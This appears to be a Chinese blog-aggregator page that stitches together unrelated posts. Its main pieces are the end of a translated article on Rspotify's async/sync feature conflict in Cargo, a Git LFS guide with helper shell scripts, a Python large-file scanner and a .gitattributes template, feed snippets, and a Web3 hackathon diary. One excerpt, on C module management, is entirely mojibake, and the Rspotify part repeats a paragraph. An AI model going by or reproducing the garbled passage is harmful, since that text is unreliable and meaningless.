maybe_async/is_sync是一个由client-ureq启用的 切换特性。所以如果你试图同时启用client-reqwest来编译，它就会失败，因为maybe_async将被配置为生成同步函数签名。不可能有一个 crate 直接或间接地同时依赖于同步和异步的 Rspotify，而且根据 Cargo 参考文档，maybe_async的整个概念目前是错误的。新特性解析器 v2
一个常见的误解是，这个问题可以通过"特性解析器v2"来修复，参考文档也对此进行了很好的解释。从2021版本开始，这个新版本已经默认启用了，但你也可以在之前的版本的
Cargo.toml中指定使用它。这个新版本除了其他改进，还在一些特殊情况下避免了特性的统一，但不包括我们的情况：- 对于当前未在构建的目标，启用在平台特定依赖项上的特性会被忽略。
- 构建依赖和过程宏不会与普通依赖共享特性。
- 除非构建需要它们的目标（如测试或示例），否则开发依赖不会激活特性。
为了以防万一，我自己尝试复现了这个问题，结果确实如我所料。这个代码库是一个特性冲突的例子，在任何特性解析器下都会出错。
其他失败
有一些 crate也存在这个问题：
arangors和aragog：ArangoDB 的包装器。两者都用于maybe_async在异步和同步之间切换（arangors事实上，的作者是同一个人）^5 [^6] (https://nullderef.com/blog/rust-async-sync/#aragog-error)。k8s-openapi：Kubernetes 的包装器，与inkwell^8存在同样的问题。
修复
maybe_async随着这个 crate 开始变得流行起来，有人在
maybe_async中提出了这个问题，解释了情况并展示了一个修复方案：
async 和 sync 在同一程序中 fMeow/maybe-async-rs #6maybe_async现在会有两个特性标志：is_sync和is_async。这个 crate 会以同样的方式生成函数，但会在标识符后面添加_sync或_async后缀，这样就不会冲突了。例如：12#[maybe_async::maybe_async]async fn endpoint() { /* stuff */ }现在将生成以下代码：
12345#[cfg(feature = "is_async")]async fn endpoint_async() { /* stuff */ }#[cfg(feature = "is_sync")]fn endpoint_sync() { /* stuff with `.await` removed */ }然而，这些后缀会引入噪音，所以我在想是否有可能以更符合人体工程学的方式来实现。我fork了
maybe_async并尝试了一下，你可以在这一系列评论中读到更多相关内容。总的来说，这太复杂了，我最终放弃了。修复这个边缘情况的唯一方法就是让Rspotify对所有人的可用性变差。但我认为，同时依赖异步和同步版本的人可能很少；实际上我们还没有收到任何人的抱怨。与
reqwest不同，rspotify是一个"高级"库，所以很难想象它会在一个依赖树中出现多次。也许我们可以向Cargo的开发者寻求帮助？
官方支持
虽然不是官方的，但 Rust 中可以进一步探索的另一种有趣方法是“Sans I/O”。这是一个 Python 协议，它抽象了网络协议（如 HTTP）的使用，从而最大限度地提高了可重用性。Rust 中现有的一个示例是
tame-oidc。Rspotify 远不是第一个遇到这个问题的项目，所以阅读之前的相关讨论可能会很有趣：
- 这个现已关闭的 Rust 编译器 RFC 添加
oneof配置谓词（类似#[cfg(any(…))]）来支持互斥特性。这只是让在别无选择的情况下拥有冲突特性变得更容易，但特性仍应该是严格叠加的。 - 前一个 RFC 在 Cargo 本身允许互斥特性的背景下引发了一些讨论，尽管有一些有趣的信息，但并没有取得太大进展。
- Cargo 中的这个问题 解释了 Windows API 的类似情况。讨论包括更多示例和解决方案想法，但还没有被 Cargo 采纳。
- Cargo 中的另一个问题 要求提供一种方法来轻松测试和构建不同标志组合。如果特性是严格叠加的，那么
cargo test --all-features将涵盖所有情况。但如果不是，用户就必须用多个特性标志组合运行命令，这相当麻烦。非官方的cargo-hack已经可以实现这一点。 - 一种完全不同的方法 基于关键字泛型倡议。这似乎是解决这个问题的最新尝试，但仍处于"探索"阶段， 截至目前还没有可用的 RFC。
根据这条旧评论，这不是 Rust 团队已经否决的东西；它仍在讨论中。
虽然是非官方的，但另一个可以在 Rust 中进一步探索的另一种有趣方法是 “Sans I/O”。这是一种 Python 协议，它在我们的案例中抽象了 HTTP 等网络协议的使用，从而最大化了可重用性。Rust 中现有的一个例子是
tame-oidc。结论
我们目前面临以下选择：
- 忽视 Cargo 参考。我们可以假设没有人会同时使用 Rspotify 的同步和异步版本。
- 修复
maybe_async并为我们库中的每个端点添加_async和_sync后缀。 - 放弃支持异步和同步代码。这已经变成了一团糟，我们没有足够的人力来处理，而且它影响了 Rspotify 的其他部分。问题是一些依赖 rspotify 的 crate，如
ncspot或spotifyd是阻塞的，而其他如spotify-tui使用异步，所以我不确定他们会怎么想。
我知道这是我给自己强加的问题。我们可以直接说"不。我们只支持异步"或"不。我们只支持同步"。虽然有用户对能够使用两者感兴趣，但有时你就是得说不。如果这样一个特性变得如此复杂，以至于你的整个代码库变成一团糟，而你没有足够的工程能力来维护它，那这就是你唯一的选择。如果有人真的很在意，他们可以直接 fork 这个 crate 并将其转换为同步版本供自己使用。
毕竟，大多数 API 封装库等只支持异步或阻塞代码中的一种。例如，
serenity（Discord API）、sqlx（SQL 工具包）和teloxide（Telegram API）是仅异步的，而且它们非常流行。。尽管有时候很沮丧，但我并不后悔花了这么多时间兜圈子试图让异步和同步都能工作。我最初为 Rspotify 做贡献就是为了_学习。我没有截止日期，也没有压力，我只是想在空闲时间尝试改进 Rust 中的一个库。而且我确实学到了_很多；希望在读完这篇文章后，你也是如此。
也许今天的教训是，我们应该记住 Rust 毕竟是一种低级语言，有些事情如果不引入大量复杂性是不可能实现的。无论如何，我期待 Rust 团队将来如何解决这个问题。
那么你怎么看？如果你是 Rspotify 的维护者，你会怎么做？如果你愿意，可以在下面留言。
- 博客 elmagnifico 2024-08-28 00:00:00
Foreword
之前选过一些资产管理软件，但是都不够好，当时遗漏了Git LFS，这里再补充测试一下
Git LFS
https://github.com/git-lfs/git-lfs
Git LFS的客户端和Git不同，但是可以使用相同的命令完成Git操作，其实LFS的底层原理挺简单，就是通过Git的时候进行回调，如果是LFS匹配的文件就进入到了LFS提交流程
将所有stp结尾的文件，加入到追踪中
git lfs track "*.stp" git lfs track "*.CATDrawing" git lfs track "*.CATPart" git lfs track "*.dxf" git lfs track "*.igs"lfs文件追踪是加在.gitattributes文件中的
git add .gitattributes git commit -m "track *.stp files using Git LFS"lfs文件追踪是加在.gitattributes文件中的
git add . git commit -m "add stp"查看追踪文件
git lfs track下载包含lsf的仓库时也需要加上lfs的标签
git lfs clone xxxx更新内容的脚本
unset http_proxy; unset https_proxy; git pull origin main git add .; echo -e "\033[34m" read -p "请输入更新内容，按回车键结束:" echo -e "\033[0m" git commit -m $REPLY; git push origin main echo -e "\033[34m提交完成，按任意键退出\033[0m" read -n 1 echo 退出克隆仓库的脚本
unset http_proxy; unset https_proxy; echo -e "\033[34m" read -p "请输入仓库地址，中键复制，按回车键开始克隆:" echo -e "\033[0m" git lfs clone $REPLY; git push origin main echo -e "\033[34m提交完成，按任意键退出\033[0m" read -n 1 echo 退出创建新仓库脚本
unset http_proxy; unset https_proxy; git init --initial-branch=main git lfs track "*.stp" git lfs track "*.CATDrawing" git lfs track "*.CATPart" git lfs track "*.dxf" git lfs track "*.igs" git add .gitattributes git commit -m "track files using Git LFS" echo -e "\033[34m" read -p "请输入仓库地址，中键复制，按回车键开始上传:" echo -e "\033[0m" git remote add origin $REPLY git add . git commit -m "initial repository commit" git push origin main echo -e "\033[34m提交完成，按任意键退出\033[0m" read -n 1 echo 退出迁移
把原来git代码中大文件变成lfs中存储
git lfs migrate import --include="*.stp" --everything git lfs migrate import --include="*.igs" --everything迁移以后需要强制push，否则无法更新远端
问题
$ git push -u origin master Remote "origin" does not support the LFS locking API. Consider disabling it with: $ git config lfs.https://e.coding.net/xxxx/gitlfs/gitlfs.git].git/info/lfs.locksverify false可能会出现以上提示，这个是服务端不支持文件锁定，所以需要配置一下让服务端关闭即可
测试
经过测试，1.11GB的文件，比较大的文件加入lfs以后，git add 命令会快很多
上传和下载就取决于网络和服务端限制了，正常使用似乎问题不大。
coding似乎5分钟左右就能完成2.28G的仓库上传，40秒不到就能把整个仓库完全拉下来，完全够用了
大部分硬件仓库和结构仓库，不包含一些七七八八的东西的话，用Git lfs管理足够。
- 但是coding等一些免费仓库不支持删除lfs文件，这就导致很快那个空间就没有了
配合SourceTree 给小白使用也非常简单
LFS文件评估
由于LFS需要知道具体哪些文件大，我又写了一个脚本和文件模板，直接显示出来比较大文件后缀是什么，然后对应和.gitattributes中的配置对比，看是否已经加入其中了
https://github.com/elmagnificogi/MyTools/tree/master/gitlfs
import os import re # use for find all pic in markdown doc # first get all file dir = r"J:\GITLFS" # dir = r"J:\GITLFS\基站3.0" large_file_list = [] def traverse_folder(path): for root, dirs, files in os.walk(path): for file in files: file_path = os.path.join(root, file) file_name = os.path.splitext(file_path)[1] # MB file_size = round(os.path.getsize(file_path) / 1024.0 / 1024.0, 3) # print(file_name, file_size, file_path) find_one = False for i in range(len(large_file_list)): if file_name == large_file_list[i][1]: find_one = True if file_size > large_file_list[i][2]: large_file_list[i][0] = 0 large_file_list[i][1] = file_name large_file_list[i][2] = file_size large_file_list[i][3] = file_path else: break if find_one == False: large_file_list.append([0, file_name, file_size, file_path]) traverse_folder(dir) sorted_arr = sorted(large_file_list, key=lambda x: x[2]) # for lf in sorted_arr: # print(lf[0], lf[1], lf[2]) new_lfs = [] lfs_config_path = r"J:\templete\.gitattributes" lfr = open(lfs_config_path) lines = lfr.readlines() for l in lines: name = l.split(' ')[0] # print(name) nname = name[1:] # print(nname) for i in range(len(sorted_arr)): if sorted_arr[i][1] == nname: sorted_arr[i][0] = 1 break lfr.close() for lf in sorted_arr: if lf[0] == 0: print("未添加 ", str(lf[1]).ljust(12), str(lf[2]).ljust(12) + "MB", lf[3]) else: print("已优化 ", str(lf[1]).ljust(12), str(lf[2]).ljust(12) + "MB", lf[3])基于此做了一点lfs文件归纳
# picture *.jpg filter=lfs diff=lfs merge=lfs -text *.png filter=lfs diff=lfs merge=lfs -text *.PNG filter=lfs diff=lfs merge=lfs -text *.psd filter=lfs diff=lfs merge=lfs -text *.ai filter=lfs diff=lfs merge=lfs -text # doc *.pdf filter=lfs diff=lfs merge=lfs -text *.ppt filter=lfs diff=lfs merge=lfs -text *.pptx filter=lfs diff=lfs merge=lfs -text *.xls filter=lfs diff=lfs merge=lfs -text *.xlsx filter=lfs diff=lfs merge=lfs -text *.doc filter=lfs diff=lfs merge=lfs -text *.docx filter=lfs diff=lfs merge=lfs -text *.xml filter=lfs diff=lfs merge=lfs -text *.scdoc filter=lfs diff=lfs merge=lfs -text # video #*.MP4 filter=lfs diff=lfs merge=lfs -text #*.mp4 filter=lfs diff=lfs merge=lfs -text #*.avi filter=lfs diff=lfs merge=lfs -text # double *.stp filter=lfs diff=lfs merge=lfs -text *.STP filter=lfs diff=lfs merge=lfs -text *.step filter=lfs diff=lfs merge=lfs -text *.STEP filter=lfs diff=lfs merge=lfs -text *.SLDPRT filter=lfs diff=lfs merge=lfs -text *.sldprt filter=lfs diff=lfs merge=lfs -text *.stl filter=lfs diff=lfs merge=lfs -text *.STL filter=lfs diff=lfs merge=lfs -text *.igs filter=lfs diff=lfs merge=lfs -text *.IGS filter=lfs diff=lfs merge=lfs -text # struct *.CATDrawing filter=lfs diff=lfs merge=lfs -text *.CATPart filter=lfs diff=lfs merge=lfs -text *.CATProduct filter=lfs diff=lfs merge=lfs -text *.dxf filter=lfs diff=lfs merge=lfs -text *.dwg filter=lfs diff=lfs merge=lfs -text *.3dm filter=lfs diff=lfs merge=lfs -text *.3dxml filter=lfs diff=lfs merge=lfs -text *.prt.* filter=lfs diff=lfs merge=lfs -text *.asm.* filter=lfs diff=lfs merge=lfs -text # simulation *.lms filter=lfs diff=lfs merge=lfs -text # other *.h3d filter=lfs diff=lfs merge=lfs -text *.op2 filter=lfs diff=lfs merge=lfs -text *.fem filter=lfs diff=lfs merge=lfs -text *.x_t filter=lfs diff=lfs merge=lfs -text *.unv filter=lfs diff=lfs merge=lfs -text *.dat filter=lfs diff=lfs merge=lfs -text *.bdf filter=lfs diff=lfs merge=lfs -text *.wbpz filter=lfs diff=lfs merge=lfs -text *.mechdb filter=lfs diff=lfs merge=lfs -text *.acmo filter=lfs diff=lfs merge=lfs -text *.pmdb filter=lfs diff=lfs merge=lfs -text *.h5 filter=lfs diff=lfs merge=lfs -text *.msh filter=lfs diff=lfs merge=lfs -text *.pack filter=lfs diff=lfs merge=lfs -text *.fecdb filter=lfs diff=lfs merge=lfs -text *.wrl filter=lfs diff=lfs merge=lfs -text *.SLDASM filter=lfs diff=lfs merge=lfs -text *.hm filter=lfs diff=lfs merge=lfs -text *.brd filter=lfs diff=lfs merge=lfs -text *.hm filter=lfs diff=lfs merge=lfs -text *.SAV filter=lfs diff=lfs merge=lfs -text *.cgr filter=lfs diff=lfs merge=lfs -text *.hsf filter=lfs diff=lfs merge=lfs -text *.minf filter=lfs diff=lfs merge=lfs -text *.mdd filter=lfs diff=lfs merge=lfs -text *.cgr filter=lfs diff=lfs merge=lfs -text *.sim filter=lfs diff=lfs merge=lfs -text *.mres filter=lfs diff=lfs merge=lfs -text *.ldsf filter=lfs diff=lfs merge=lfs -text *.agdb filter=lfs diff=lfs merge=lfs -text *.bin filter=lfs diff=lfs merge=lfs -text *.ksp filter=lfs diff=lfs merge=lfs -text *.xprd filter=lfs diff=lfs merge=lfs -text *.xpr filter=lfs diff=lfs merge=lfs -text *.xedz filter=lfs diff=lfs merge=lfs -text *.bip filter=lfs diff=lfs merge=lfs -text # *.rst filter=lfs diff=lfs merge=lfs -text # *.f06 filter=lfs diff=lfs merge=lfs -text # *.mshdb filter=lfs diff=lfs merge=lfs -text # *.hm filter=lfs diff=lfs merge=lfs -text自建LFS服务器
Git LFS，coding里是标配了20G空间，不占用原有代码空间，Gitee里只有1G基本等于没有，必须要私有部署才行
GitLab也支持LFS，不过有一些要求
- Git LFS is supported in GitLab starting with version 8.2. (gitlab版本需要 >= 8.2)
- Git LFS must be enabled under project settings (必须在项目设置中开启LFS)
- Users need to install Git LFS client version 1.0.1 and up （本地git lfs客户端版本 >= 1.0.1）
开源的LFS存储服务器，据说Github也是基于这个二次开发的
https://github.com/git-lfs/lfs-test-server
修改
.lfsconfig文件，增加lfs服务器地址[lfs] url = "http://localhost:8080/"弹性LFS，使用一些对象存储或者是云盘实现LFS服务
https://github.com/zhxxch/git-lfs-one
Gitea
https://gitee.com/gitea/gitea
Gitea更像是一个简化版的Gitlab，界面干净一些
Gitea和其他DevOps的对比
https://docs.gitea.com/zh-cn/installation/comparison
Gitea整体非常轻量，适合小机器部署，功能自然也缺少了很多，如果人员很少，也没有规模化的一些需求，可以使用Gitea，否则还是Gitlab更好一些
腾讯工蜂
https://code.tencent.com/
通过Ugit发现了腾讯还专门有一个给游戏类使用的管理平台
目前看起来和Coding重叠度非常高，但是给资源的角度非常大方，SaaS版本可以随便使用，LFS仓库给的非常大，可以说很离谱
工蜂的内部界面非常像Gitlab
SVN
https://www.visualsvn.com/
如果只是普通的SVN本地管理是免费的，但是SVN的服务端是收费的
VisualSVN Server
https://www.visualsvn.com/server/
VisualSVN是按照用户数收费的，买断制，所以可以根据人员决定价格，服务器自己出就行了，不过一次性付费只有12个月的更新和维护时间，后续再更新需要再次付费。
VisualSVN也有社区版本，社区版可以给15个人使用
Git UI工具
Ugit
https://ugit.qq.com/zh/index.html
Ugit是腾讯的自研Git客户端，本身分为专业版和美术版，美术版的交互类似SVN一些
Ugit界面相比SourceTree更加简洁一些
默认内置了LFS的模板，适合做大文件管理，内置了文件锁，可以防止文件被多个人更新
Ugit目前适配了私有部署的gitlab，如果此处提示无法登录，注意一下Gitlab的权限是否正常，是否开了代理，有时候代理会导致这里授权失败。
授权以后，可以直接从克隆看到远端仓库，可以直接克隆，还是比较方便的，同时用户信息也自动帮你填好了，上手难度还是降低了一些的
Ugit对比SourceTree，感觉Ugit确实更流畅一些，特别是文件比较多的时候，很明显的感觉，针对性优化确实有点意义
GitKraken
https://www.gitkraken.com/
GitKraken嵌入的比较多，更合适IDE里使用
gitui
https://github.com/extrawurst/gitui
rust写的git ui客户端，主要还是服务VI VIM类的界面
lazygit
https://github.com/jesseduffield/lazygit
和上面的gitui类似，也是服务mac、linux下的终端类界面
SmartGit
https://www.syntevo.com/smartgit/
付费Git客户端，界面类似SourceTree
GitButler
https://gitbutler.com/
gitbutler，交互拉满，各种东西都可以通过拖拽实现，很符合直觉
gitbutler是把修改内容和仓库文件进行了解耦，你修改的文件存在在workspace中，这次提交你可以提交或者融合到任何一个commit或者分支上去，具体怎么融合是他内部帮你处理好，不用自己写命令。
这种适合增量、文件之间耦合关系很弱的开发模式，gitbutler是必须要走PR流程的，如果PR无法正常运行，那么整个流程就走不动了，它不支持你直接合并，这有点奇怪
Summary
大部分情况LFS+Gitlab可以解决多数问题
Quote
https://coding.net/help/docs/admin/pay/newprice.html
https://coding.net/help/docs/repo/git/lfs.html
https://zhuanlan.zhihu.com/p/511750788
https://zhuanlan.zhihu.com/p/146683392
https://gitee.com/help/articles/4235#article-header4
https://forcemz.net/git/2017/04/16/Moses/
https://forcemz.net/git/2018/07/15/GitLFSRethinking/
https://cloud.tencent.com/developer/article/1010589
https://www.escapelife.site/posts/92ef32ff.html
https://juejin.cn/post/6844903791855140872
https://blog.inkroom.cn/2023/02/27/10J1G9S.html
- 博客 西秦公子 2024-08-27 23:57:08今天在上班路上听播客听到了关于创业公司和大公司的事情（也可能是我看即刻看到的，记不清了）。提到了大团队和小团队 […]
- 博客 61's life 2024-08-27 23:02:10123
- 博客 小球飞鱼 2024-08-26 08:00:00没有斯托卡的世界将是美好的明天
- 博客 格物致知 2024-08-26 07:54:00之前研究了一段时间的 eBPF，并且记录了一些笔记，但是因为懒所以没有整理，所以简单梳理了一些，这篇主要是介绍给予 BCC 使用 eBPF 的一些记录。
- 博客 61's life 2024-08-25 00:00:07126
- 博客 云风的 BLOG 2024-08-24 18:14:21
������ C ������Ŀ�������Ǻ� Lua ���ʹ��ʱ��һֱ��ͷ�� C û��һ��ͳһ��ģ���������Lua ��ģ�������Ȼ�����Ͼ����ҹ��á�һ�ַ����ǰ� C ģ���װ��һ���� Lua ģ�飬�� Lua ����������ÿ�� C ģ���Ƕ����ģ�����ɼ���
���� C ģ��֮�䷢����ϵʱ���ͱȽ��鷳����Ȼ���ķ�����ͨ�������������Ƕ�������һ��ͨ��������ǰ�����֡��������ò���ϵͳ�Ķ�̬�������������ģ�顣
�������һ����Ȥ���뷨������һ������ģ���������ʵ���ӶȲ����ߡ����˰��칦��ʵ����һ�£��о���������
https://github.com/cloudwu/cmod/
�������ʱ������ر���ʹ�� macro ħ���������Ľӿڱ���ԭʼ�� C ����ң�ʵ����Ҳ�������κ��ڴ���亯����������������Ҫ���ڴ���һ��ʼ�ɵ����߷����һ��鴫��ġ�
���������ֻ��������ָ�룬����û��ȥ��������״̬��������������COM �����ľͲ�ֻ�Ǻ����ӿڣ�����������ʵ������������Ϊÿ��������ʵ������һ�� userdata ָ�룬��ʹ������չ��
���е� import ������Ҳ����ͨ���ַ������Ҷ�Ӧ��ģ�飬ʹ�õ��Ǽ� O(n) ����������ע��ģ����㷨�������������������Ҫ�Ļ����һ��ټ�һ�� hash ����һЩ�� cache ��
- 博客 欧雷流 2024-08-24 14:50:55
在上篇文章《Web2 终是末路，Web3 才是归宿：接触 Web3》中，我大致回顾了借由「Web3 前端训练营」向 Web3 全栈工程师转型的学习经历。
在训练营刚开始的那段时间，常会看见有人问：「学完能找到 Web3 的工作吗？」更有甚者，会抱着传统思维想要找稳定的 Web3 工作……
从我当前的了解来看，Web3 行业是变化莫测、相当动荡的，不存在「稳定」一说，某个项目一夜之间就消失不见了也很正常；硬要说的话，可能交易所算是相对稳定的。
所以说，想入 Web3 这行，必须接受工作的不稳定性，大力地拥抱不确定性——让自己变得富有弹性、灵活性，能够快速且高效地学习新知识，以应对不断的变化。
对于自称「独立开发者」的我来说，自然不会将收入锁死在「打工（找工作）」这一个选项上，而是要丰富其多样性。
除了《开发者，独立吧！》中「老生常谈」的那些之外，在 Web3 圈子里又多了「赏金任务」和「黑客松」这俩别具风味的——当个「赏金猎人」也很不错！
黑客松的体验
作为在国内 Web3 开发者圈子里也算有些影响力的 OpenBuild，不算「Web3 前端训练营」还组织了很多活动，包括刚刚结束的「ETH Shenzhen」。
这届「ETH Shenzhen」包含两部分：分享与圆桌会议；黑客松比赛。其中，黑客松参赛队伍若未获奖，广东省外的会有差旅补助。
在大会开始的半个月前，有个训练营学员专属的线上黑客松，实际可以认为是与「ETH Shenzhen Hackathon」进行联动的环节，两者可用同一个项目，于是我就顺势都参加了。
在参加训练营之前，我就有了以自身为中心社区化发展成为类 DAO 组织的想法；训练营学习中做 NFT market 时，让我觉得那个想法具备一定可行性。
那不如借助参加黑客松这个机会，使其更为具像化一些，作为参赛项目，日后成为我「互联网自由宣言」阵营的另一个作品！
参赛项目介绍
经过一天左右的思索，我确立了项目的名字与定位——
中文名为「吾界」，英文则是「Selfverse」，它们都表达了同一个意思——「（自）我」就是「世界」或「宇宙」本身。
我们所看到的世界，是内心世界的呈现；若想活得精彩，就得先丰富充盈自己的精神，以形成较为健全的、体系化的、内外循环的「生态系统」。
真实、完整的「自我」往往隐藏得很深，与他人进行交互的是经过层层过滤且一定程度上粉饰过的「人格面具」。
这在现实生活中自不用说，即便互联网有匿名性的特点，绝大部分人也不得不或多或少地遵守人际交往中的那些「潜规则」。
当下的日常生活越来越离不开互联网，很多人需要在网上维持相对稳定的「人格面具」，尤其是借助于数字手段靠它维生甚至致富的人，像自由职业者、独立黑客、数字游民等等。
有些流行的、更通俗易懂点的词可以把「人格面具」给换掉——人设、影响力、个人品牌、超级个体……
定位是提供一系列工具作为基础设施帮助有需要的人更轻松地打造「人格面具」，并促进加强人与人之间「连接」的紧密性。
用不拘泥于区块链的去中心化技术，以去中心化的方式为使用者解决问题，将部署、托管、管理等使用层面的选择权交给他们。
本项目为我设想中的「面向个人与家庭去中心化及数智化方案」的重要一环，未来会与 LinXoid 及 KnoSys 进行深度整合。
线上黑客松
训练营线上黑客松的比赛时间虽写着是 8 月 1 日到 10 日，但宣发时 1 日这天基本已经结束，并且要在 10 日下午 2 点前提交，因而实际开发时间很可能不足 8 天。
「Web3 前端训练营线上黑客松」宣传图 具体到我身上的话，是 3 日中午开始进入开发，先写支持 RBAC 的智能合约，于 5 日单元测试通过；从 6 日起编写前端界面，本以为两天就可搞定，结果没想到是我低估了角色权限控制相关处理的复杂度，最终在 9 日下午联调完成。
接着就是准备项目的介绍材料，并以 PR 的形式提交到训练营 GitHub 仓库中，时间十分紧迫！
由于我的项目想法太大，在如此短暂的时间内实现全部已有构思是不可能的，所以只能先做一小部分功能：
为了节约开发时间，前端 UI 组件库我选择的是用起来比较熟悉的 Ant Design 与 Ant Design Web3，并且用 Vite 部署为纯前端单页面应用。
线下黑客松
虽说「ETH Shenzhen Hackathon」可在线上参与，但最好还是到线下场所去，会有很多不一样的感受。
这个黑客松于 8 月 16 日下午至 18 日晚上在深圳举行，我需要乘飞机前往，为提高容错性而买了 15 日航班的机票。
「ETH Shenzhen Hackathon」宣传图 16 日的第一个环节是黑客松参赛人员签到，会得到专属纸制腕环以区分身份；在 X 上完成互动还有含文化衫、帽子、袋子等的「大礼包」可拿，与训练营时收到的完全不同，全新设计！
然后是接连几个赞助方的工作坊——开场的那个可能是准备不够充分，秀了一波现场 debug 技能，导致没有顺利讲完；忘记是在第二个还是第三个时，我离场去写自己项目代码了。
要是看了上文中的视频，可以发现付费作品只是个空壳子，并没有实际内容，就像买了本只有封皮而无内页的书一样——参赛这几天主要就是解决这个问题。
为此，我要做如下处理：
- 增加文章模块，站长新增、编辑和发布，访客浏览与打赏；
- 改造付费作品模块，站长将文章作为章节与其关联，访客能看到目录并查看实际内容；
- 增加基金模块，在背后统一控制付费和打赏的资金流转，以将其集中在同个智能合约中；
- 增加访客独有的个人中心，可查看自己的付费与打赏记录。
我先把相较简单的访客个人中心给做了，因觉得用户标识只用钱包地址的话会显得过于苍白、单调，就加入了像 MetaMask 那样根据地址生成的 Jazzicon，并将所有头像都改成这个。
接下来，把之前已经想了一些逻辑的代币基金、系统设置、用户登记等智能合约代码给写写完，就差不多到破冰派对环节了。
主办方点了烤串、披萨、炸鸡、啤酒、汽水等外卖到会场，看到吃的喝的大家都一拥而上，很快就分完，也顾不上聊什么天——看来都饿坏了……
Hackers' Party 这一天我轻微地 social 了下，有在杭州就已见面交流过的，也有事先在网上建立了一定程度的连接，这次是首次面基的。
回到酒店后比较晚了，我项目的这个版本还是有些开发工作量的，时间较为紧张；鉴于我不想准备路演用的屁屁踢，这两天必须得开发完毕——我决定码力全开熬夜干！
听着许巍、BIGBANG 等人的歌，把文章智能合约写完以及与资金流转相关的部分智能合约调整好没问题之后我就睡觉了，那时马上凌晨 4 点。
后两天的流程大体相似：
- 不到 9 点抵达会场，签到后转悠一圈就去 coding 区域赶项目代码；
- 中午就吃主办方提供的盒饭，都带汤，也都有牛肉；
- 下午做些与项目相关的事情，或是撸码，或是讲解；
- 晚上参加主办方组织的聚餐，切换到 social 模式。
那些嘉宾的分享我几乎没去听，而是全力备战最后一天下午的路演，为此我 17 日晚上真的通宵达旦，总算把剩余功能基本都搞定，这下可以安心了！
在 coding 区域备战 到了 18 日，把项目收收尾后，我迫不及待地想跟他人分享下自己的项目，于是拎着电脑到前台附近找在做大会志愿者的同为训练营学员兼助教的人，正好他没在忙。
我坐在他旁边，边用电脑演示边讲解功能，还说了一些较为远期的构想，如：把自己作为价值承载物吸引他人投资，向投资者发放代币以证明其权益，日后达成某（些）条件时可获得回报。
这是我第一次这么详细地向别人介绍我的项目，在说的时候心中有种激动之情；他有认真地听我在那「吹牛逼」，不仅说出了自己的理解，还给了一些建议。
终于到了路演环节，大概 30 来个参赛项目，给每个项目 10 分钟，全部搞完再算上中断休息等时间，总共要奔 5、6 个小时去——我是第 10 个。
路演时间表 由于我的项目要演示完整功能流程的话，无法 10 分钟内完成，就在到我之前先把初始化配置弄好，演示用数据加好，以节省上台后的时间。
在我正式路演时，几乎没有再做什么数据变更操作，而是对着已添加好数据的网页介绍；仅仅这些就已经差不多把时间占满，只给评委留出提两个问题的余地……
要问我上台紧张吗？意识层面的回答是「不」，并没有心里忐忑等感受，可能是做自媒体拍 vlog 锻炼出来了；但我身体好像不这么觉得，还没说几句话声音就开始颤抖了，后面我一直在调节控制。
我在路演 我项目所参加的主赛道是「开源工具与基础设施」，使用方式有点类似于 WordPress；并且项目背后的理念和设想自认为比较新颖，需要对潜在用户进行长期教育与培养，因此暂无商业化的想法。
然而，纵然我已事先声明，评委依然问出了相关问题，这令我有些尴尬，不知该怎样回答他们……
黑客松结束了，晚上放松地与 OpenBuild 及训练营的小伙伴们一起吃了这趟深圳之旅的最后一顿晚餐，次日我就乘飞机回杭州了。
黑客松的感想
我认为自己的路演是失败的，感觉获奖的希望极其渺茫，只要不是 0 分，就是对我最大的认可！
虽说在 10 分钟内说清楚我的项目是办不到的，但这不能作推脱的说辞，尚有很多改进空间，如：
- 即使功能已经做得相对完整，只有应用演示的话还是不够，屁屁踢不可或缺；
- 说话的语速有点慢，表达过程没什么节奏可言，在我后面有两个连着的项目让我听得酣畅淋漓，十分享受，要向他们学习；
- 在路演前的那些时间里多跟评委接触，多介绍下自己的项目，这就相当于延长了自己路演的时间。
这下我领悟到了，打黑客松也是在下一盘棋——整场比赛中，给开发、路演材料准备、social 之类的时间占比如何分配，这会影响到实际工作量与 social 对象等的设计与安排，从而影响获奖概率。
黑客松于我而言有两种意义：
- 做自己的项目时如同创业，那些评委就像是投资机构的，得通过优雅的表达打动他们，获得奖金就是拿到投资了；
- 做他人的项目时就算是个赏金任务，用自己的专业能力助其获奖并瓜分奖金作为报酬，只不过对做赏金任务来说，这报酬有更高的不确定性。
除了写代码，这几天我在 social 上也比往日投入了更多精力，以前我在线下是不太爱说话的，主要是在听别人说；而这次我不仅较积极地被动式交流，也会主动去跟别人说话，包括完全陌生的人。
但还是有所不足，因为我 social 的对象基本都是之前已经有一定联系的了，「全新」的极少极少。
像这类技术性活动很多技术人会有个误区——为学习技术而参加——抱有这种想法的人，最终大概率会失望而归。
以前我就是这种人之一，在 2017 年前总会参加各类技术性活动，但很少使我有「学到了」的感觉，大多时候是「不过如此」，因而直到今年之前我就没再参加过。
如今我的看法改变了，参加活动更重要的是了解业界动态，与他人交流并建立深度连接，进而寻觅合作的可能性——这些是对自称「独立开发者」的我来说提高事业成功率的关键。
总结
至此，我这 3 个月左右的从传统互联网行业 Web 前端工程师向 Web3 行业全栈工程师转型的初期阶段经历总结就结束了。
对我来说，由于有丰富的知识与经验所形成的抽象模型网络在背后做支撑，转型从技术层面讲难度不算大，稍有难度的是从庞杂的区块链体系和多变的 Web3 行业中提炼出较为稳固的模型，并积累有价值的项目经验。
要入 Web3 这行，就得在思想上坚定地撕下「稳定」这块狗皮膏药，「灵活」及「高效」才是自己最大且最强的武器！
- 博客 61's life 2024-08-24 00:02:15129
- 博客 张鑫旭-鑫空间-鑫生活 2024-08-23 22:18:10
CSS滚动动画比我预想的要强多了，项目中又有很多JavaScript代码可以淘汰了。 - 博客 bboysoul的博客 2024-08-23 18:28:00
- 博客 bboysoul的博客 2024-08-23 18:26:00
简介
每周五更新，所有的更新也会发送到我的频道
规则
- pre release的不记录
- 只记录重要的更新
- 上一版本版本的bugfix不记录，比如某一个项目最新版本是7.0.0 上一个版本6.0.0发布了一个bugfix 6.0.1 那么不会记录
- 比如lens发布了一个新版本，那么openlens也会发布一个新版本，此时只会记录lens发布的信息，不会记录openlens发布的信息
- 博客 小球飞鱼 2024-08-23 08:00:00N15一结局也是N15
- 博客 二丫讲梵 2024-08-23 06:23:00如要阅读全文，点击标题跳转。学习周刊-总第173期|logdy-core|legado|Logoer|pgbackweb|Pearcleaner
- 博客 欧雷流 2024-08-22 22:17:14
今年 4 月时，可能是「金三银四」的关系，经常会看到有前端同行在聊找工作的事情，在那烦恼去啥样的公司比较好，也在为工作的稳定性和前景等而不知所措。
